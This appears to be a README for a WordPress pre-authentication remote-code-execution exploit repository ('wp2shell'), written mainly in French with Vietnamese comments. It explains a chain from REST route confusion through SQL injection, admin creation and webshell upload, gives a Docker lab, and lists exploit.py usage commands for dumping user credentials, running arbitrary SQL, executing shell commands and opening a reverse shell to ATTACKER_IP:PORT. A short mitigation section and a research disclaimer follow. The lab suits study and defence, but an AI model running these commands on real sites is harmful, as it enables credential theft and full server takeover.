
Exploit RCE pré-authentification pour WordPress (CVE-2026-63030 + CVE-2026-60137) enchaînant la confusion de route et l'injection SQL pour obtenir un accès shell complet. Comprend un laboratoire Docker pour des tests sûrs.
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| Alias | wp2shell |
| Type de vulnérabilité | REST API Route Confusion → SQL Injection → RCE |
| Sévérité | Critique — CVSS 10.0 |
| Versions affectées | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| Corrigé dans | WordPress 6.8.6, 6.9.5, 7.0.2 |
| Authentification requise | Aucune (pré-auth) |
wp2shell est le nom donné à la chaîne d'exploitation combinant 2 vulnérabilités dans WordPress Core :
/wp-json/batch/v1) a un décalage d'index entre les tableaux $matches[] et $validation[] lorsqu'une sous-requête a un chemin invalide, ce qui fait que la sous-requête suivante s'exécute sous un mauvais handler → contournement de la validation de schéma de l'API REST.WP_Query::get_posts() ne nettoie pas le paramètre author__not_in lorsqu'il reçoit une chaîne au lieu d'un tableau → injection SQL brute.Les deux bugs combinés forment une chaîne Pre-Auth RCE complète — de 0 identifiant à un shell sur le serveur, uniquement via des requêtes HTTP.
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
Lisez l'analyse technique complète dans REPORT.md
Le lab utilise Docker Compose avec 3 conteneurs :
| Conteneur | Image | Port |
|---|---|---|
| WordPress (vulnérable) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | interne |
| phpMyAdmin | phpmyadmin:latest | 8081 |
setup.sh)cd wp2shell-lab
bash setup.sh
Le script automatise :
Une fois terminé, "WP2Shell Lab — READY!" s'affiche avec les informations de connexion.
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
Le script PoC a été réécrit à partir de zéro, en s'inspirant de Icex0/wp2shell-poc. Il utilise uniquement la stdlib de Python 3, aucune dépendance supplémentaire à installer.
| Condition | Exigence |
|---|---|
| Version de WordPress | 6.9.0–6.9.4 ou 7.0.0–7.0.1 |
| Endpoint batch de l'API REST | Accessible (activé par défaut) |
| Authentification | Aucune |
| Réseau | L'attaquant peut atteindre WordPress |
add_filter('rest_batch_disabled', '__return_true'); dans functions.php./wp-json/batch/v1 contenant des mots-clés SQL.Ce dépôt a été créé à des fins de recherche, d'apprentissage et de CTF dans un environnement de lab contrôlé. Ne l'utilisez pas pour attaquer des systèmes réels. Toute exploitation non autorisée est une violation de la loi.